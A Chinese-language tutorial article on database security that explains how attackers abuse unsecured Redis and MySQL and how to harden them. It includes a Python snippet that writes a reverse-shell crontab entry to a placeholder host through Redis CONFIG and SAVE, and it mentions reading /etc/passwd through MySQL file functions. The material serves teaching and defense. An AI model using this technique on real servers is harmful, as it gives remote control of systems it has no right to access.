資料庫中的資料是如何被駭客拖取的?

說到資料庫,你肯定會說:“資料庫是我最熟悉的工具了。利用它,我能夠設計複雜的表結構、寫出炫酷的 SQL 語句、最佳化高併發場景下的讀寫效能。”當然,我們的日常工作離不開資料庫的使用。而且,資料庫中儲存的大量機密資訊,對於公司和使用者都至關重要。那關於資料庫的安全你知道多少呢?你知道資料庫是如何進行認證的嗎?使用資料庫交換資料的過程是安全的嗎?假如駭客連入了資料庫,又會發生什麼呢?

今天,我就以兩種比較常見的資料庫 Redis 和 MySQL 為例,來和你一起探討資料庫的安全。

一、Redis安全

我們首先來看 Redis。我們都知道,Redis 是一個高效能的 KV 結構的資料庫。Redis 的設計初衷是在可信的環境中,提供高效能的資料庫服務。因此,Redis 在設計上沒有過多地考慮安全性,甚至可以說它刻意地犧牲了一定的安全性,來獲取更高的效能。

那在安全性不高的情況下,駭客連入 Redis 能做什麼呢?最直接的,駭客能夠任意修改Redis 中的資料。比如,透過一個簡單 FLUSHALL 命令,駭客就能夠清空整個 Redis 的資料了。

複雜一些的,駭客還可以發起許可權提升,透過 Redis 在伺服器上執行命令,從而控制整個伺服器。但是,Redis 本身不提供執行命令的功能,那麼駭客是如何讓 Redis 執行命令的呢?我們一起來看一下具體的程式碼流程。

r=redis。Redis(host=10。0。0。1,port=6379,db=0,socket_timeout=10)payload=‘nn*/1****/bin/bash-i>&/dev/tcp/1。2。3。4/80800>&1nn’path=‘/var/spool/cron’name=‘root’key=‘payload’r。set(key,payload)r。config_set(‘dir’,path)r。config_set(‘dbfilename’,name)r。save()r。delete(key)#清除痕跡r。config_set(‘dir’,‘/tmp’)

針對這個過程,我來詳細解釋一下,你可以結合程式碼來看。

駭客連入 Redis。

駭客寫入一個任意的 Key,對應的 Value 是想要執行的命令,並按照 Crontab 的格式進行拼接。程式碼如下:

*/1****/bin/bash-i>&/dev/tcp/1。2。3。4/80800>&1

駭客呼叫 config_set 方法,就是透過 Redis 的 CONFIG 命令,將 Redis 資料持久化的目錄修改成 /var/spool/cron。

駭客呼叫 save 方法,透過 Redis 的 SAVE 命令,發起 Redis 的資料持久化功能。最終,Redis 將資料寫入到 /var/spool/cron 中。寫入的檔案效果如下:

資料庫中的資料是如何被駭客拖取的?

Crontab 對於無法解析的資料會直接跳過,因此,開頭和結尾的亂碼不會影響 Crontab的執行。最終,Crontab 會執行到 Value 中對應的命令。

這樣一來,駭客就“聰明”地利用 Redis 儲存檔案的功能,修改了 Crontab,然後利用Crontab 執行了命令。

那麼,我們該如何對 Redis 進行安全防護呢?這裡就需要提到我們前面講過的“黃金法則”和“最小許可權原則”了。

首先,從認證上來說,Redis 提供了最簡單的密碼認證功能。在 Redis 的配置檔案中,只要增加一行 requirepass 123456,我們就能夠為 Redis 設定一個密碼了。但是,這裡有兩點需要你注意。

Redis 的效能很高,理論上駭客能夠以每秒幾十萬次的速度來暴力猜測密碼。因此,你必須設定一個足夠強的密碼。我比較推薦隨機生成一個 32 位的“數字加字母”的密碼。而且 Redis 的密碼直接儲存在配置檔案當中,你並不需要記憶它,需要的時候直接檢視就好了。

Redis 是為了高效能而設計的。之所以 Redis 預設不配置密碼,就是因為密碼會影響效能。按照我之前的測試,加上密碼之後,Redis 的整體效能會下降 20% 左右。這也是很多開發和運維,明明知道 Redis 有安全風險,仍然保持無密碼狀態的原因。所以,是否給 Redis 設定密碼,還需要你根據實際的情況進行權衡。

其次是進行授權。儘管 Redis 本身不提供授權機制,但是我們仍然可以透過“重新命名”來間接地實現授權功能。我們可以在 Redis 的配置檔案中加入 rename-command CONFIGpUVEYEvdaGH2eAHmNFcDh8Qf9vOej4Ho,就可以將 CONFIG 功能的關鍵詞,變成一個隨機的字串,駭客不知道這個字串,就無法執行 CONFIG 功能了。而且,你仍然可以透過新的命令,來正常的使用 CONFIG 功能,不會對你的正常操作產生任何影響。

現在,你應該已經知道在認證和授權上,我們能使用的防護手段了。那在審計上,因為Redis 只提供了基本的日誌功能(日誌等級分為:Debug、Verbose、Notice 和Warning),實用資訊不多,也就沒有太多的應用價值。

除了認證和授權,如果你還想要對 Redis 中的資料進行加密,那你只能夠在客戶端中去整合相應的功能,因為 Redis 本身不提供任何加密的功能和服務。

最後,我們還要避免使用 ROOT 許可權去啟動 Redis,這就需要用到“最小許可權原則”了。在前面命令執行的例子中,駭客是透過 Redis 的儲存功能,將命令“寫入 Crontab”來實現的命令執行功能。而“寫入 Crontab”這個操作,其實是需要 ROOT 許可權的。因此,我們以一個低許可權的使用者(比如 nobody)身份來啟動 Redis,就能夠降低駭客連入 Redis帶來的影響了。當然,Redis 本身也需要儲存日誌和持久化資料,所以,它仍然需要寫入日誌檔案的許可權(小於 ROOT 許可權)來保證正常執行。

總結來說,Redis 是一個極度看重效能的資料庫,為了性能捨棄掉了部分的安全功能。我們可以透過“增加密碼”“使用最小許可權原則”和“授權”的方式,在一定程度上提升 Redis的安全性。但是,這些防護手段更多的是一種緩解機制,為了保證安全性,我們最好是隻在可信的網路中使用 Redis。

二、MySQL安全

講到這裡,你現在應該也能總結出,駭客攻擊資料庫的主要方式,除了執行各種命令對資料庫中的資料進行“增刪改查”,就是在連入資料庫後,透過各種手段實現命令執行,最終控制整個伺服器。

那在 MySQL 中,駭客的攻擊方式又有什麼不同呢?

因為 MySQL 的功能十分強大,自身就提供了和本地檔案互動的功能。所以,透過 LOADDATA INFILE,MySQL 可以讀取伺服器的本地檔案;透過 SELECT … INTO DUMPFILE,MySQL 也能夠將資料寫入到本地檔案中。因此,在駭客連入 MySQL 之後,透過讀檔案的功能,駭客就能夠對伺服器的任意檔案進行讀取,比如敏感的 /etc/passwd 或者應用的原始碼等;透過寫檔案的功能,則可以仿照 Redis 修改 Crontab 的原理,實現命令執行的功能。

相比於 Redis,MySQL 是一個比較成熟的資料庫工具,自身的安全性就很高,所以透過正確地配置 MySQL 的安全選項,我們就能夠獲得較高的安全保障。

那麼,MySQL 在黃金法則和加密上,分別提供了哪些功能呢?

MySQL 提供了多使用者的認證體系,它將使用者的相關資訊(認證資訊、許可權資訊)都儲存在了 mysql。user 這個系統表中。利用這個系統表,MySQL 可以透過增刪改查操作,來定義和管理使用者的認證資訊、許可權列表等。

除此之外,在認證上,MySQL 還提供了比較完善的密碼管理功能,它們分別是:

密碼過期,強制使用者定期修改密碼;

密碼重用限制,避免使用者使用舊的密碼;

密碼強度評估,強制使用者使用強密碼;

密碼失敗保護,當用戶出現太多密碼錯誤的嘗試後鎖定賬戶。

那麼,透過這些密碼管理的機制,你就能夠擁有一個相對安全的認證體系了。

在多使用者的認證體系中,授權是必不可少的。那 MySQL 中的授權機制是怎樣的呢?

GRANTALLPRIVILEGESONdb。tableTOuser@“127。0。0。1”IDENTIFIEDBY“password”

我們透過修改許可權的 GRANT 命令來具體分析一下,MySQL 授權機制中的主體、客體和請求。

主體(user@“127。0。0。1” IDENTIFIED BY “password”):MySQL 的主體是透過使用者名稱、IP 和密碼這三個資訊組合起來進行標記的。

客體(db。table):MySQL 的客體是資料庫和表。

請求(ALL PRIVILEGES):MySQL 將請求的型別定義成了特權(PRIVILEGES)。常見的特權有 INSERT、DELETE 等增刪改查操作。

除此之外,MySQL 也定義了 ROLE 的概念,你可以基於這個功能,去實現 role-BAC 機制。

雖然和 Redis 一樣,MySQL 本身也不提供審計功能。但是,MySQL 可以透過第三方外掛,來提供審計的服務。比如 McAfee 提供的mysql-audit以及MariaDB AuditPlugin。這些外掛能夠自動收集必要的 MySQL 操作資訊,並推送到你的 ELK 等日誌叢集中,方便你進行持續的審計操作。

在加密方面,MySQL 既提供傳輸過程中 SSL(Security Socket Layer)加密,也提供儲存過程中硬碟加密。

我們首先來看 MySQL 的 SSL 加密功能。開啟 SSL 功能,需要在配置檔案中配置如下命令:

[mysqld]ssl-ca=ca。pemssl-cert=server-cert。pemssl-key=server-key。pem

但是,這些配置並不能強制客戶端使用 SSL 連線。想要杜絕全部非安全連線的話,我們可以在配置檔案中新增 require_secure_transport=ON,來進行強制限制。

接著,我們來看,MySQL 中提供的硬碟加密功能。硬碟加密過程主要涉及兩個金鑰,一個主金鑰和一個表金鑰。表金鑰由 MySQL 隨機生成,透過主金鑰進行加密後,儲存在表頭資訊中。因此,每一個表格都擁有不同的金鑰。

MySQL 的加密功能是由 keyring_file 這個外掛來提供的。需要注意的是,當 keyring_file第一次啟動的時候,它會生成一個主金鑰檔案在當前的系統中。你一定要備份這個金鑰檔案,因為它一旦丟失,資料庫中的全部資料,都將因為無法解密而丟失。

現在,你應該瞭解了,MySQL 在黃金法則上都提供了哪些功能。接下來,我們再來看“最小許可權原則”。

和 Redis 一樣,MySQL 也需要避免以 ROOT 許可權啟動。不一樣的是,MySQL 預設提供了這樣的能力,當我們在 Linux 中透過 mysqld 來啟動 MySQL 程序的時候,mysqld 會自動的建立一個具備最小許可權的 mysql 使用者,並賦予這個使用者對應日誌檔案的許可權,保證MySQL 擁有必要的最小許可權。

總之,MySQL 是一個非常成熟的資料庫工具,它提供了完整的安全功能。透過對認證、授權、審計和加密功能的正確配置,你就能夠迅速提升 MySQL 的整體安全性。

三、總結

今天,我們以 Redis 和 MySQL 這兩種比較典型的資料庫為例,對它們的安全性,以及攻破後能產生的危害進行了分析。在這裡,我把安全防護的關鍵內容總結了一張表格,希望能夠幫助你加深理解。

資料庫中的資料是如何被駭客拖取的?

透過對這兩種資料庫的分析,我們知道,資料庫面臨的威脅不止存在於資料本身,也會影響到資料庫所在的伺服器。在資料庫本身的安全防護上,我們可以透過對“黃金法則”的運用,在認證、授權、審計和加密方面,為其設定一定的保護能力。同時,為了避免資料庫對伺服器的衍生影響,我們也應該落實“最小許可權原則”, 避免以 ROOT 許可權去啟動資料庫服務。

當然,目前成熟的資料庫產品肯定不止這兩種。但是,我希望透過對這兩種資料庫的安全分析,讓你掌握資料庫安全的主要內容,在實際工作中,能夠做到活學活用,自主去分析你用到的資料庫。

推薦閱讀

盤點:2020年最新、最全、最實用的Java崗面試真題,已收錄GitHub

絕對乾貨,掌握這27個知識點,輕鬆拿下80%的技術面試(Java崗)

一線大廠為什麼面試必問分散式?

在一次又一次的失敗中,我總結了這份萬字的《MySQL效能調優筆記》

併發程式設計詳解:十三個工具類,十大設計模式,從理論基礎到案例實戰

如何高效部署分散式訊息佇列?這份《RabbitMQ實戰》絕對可以幫到你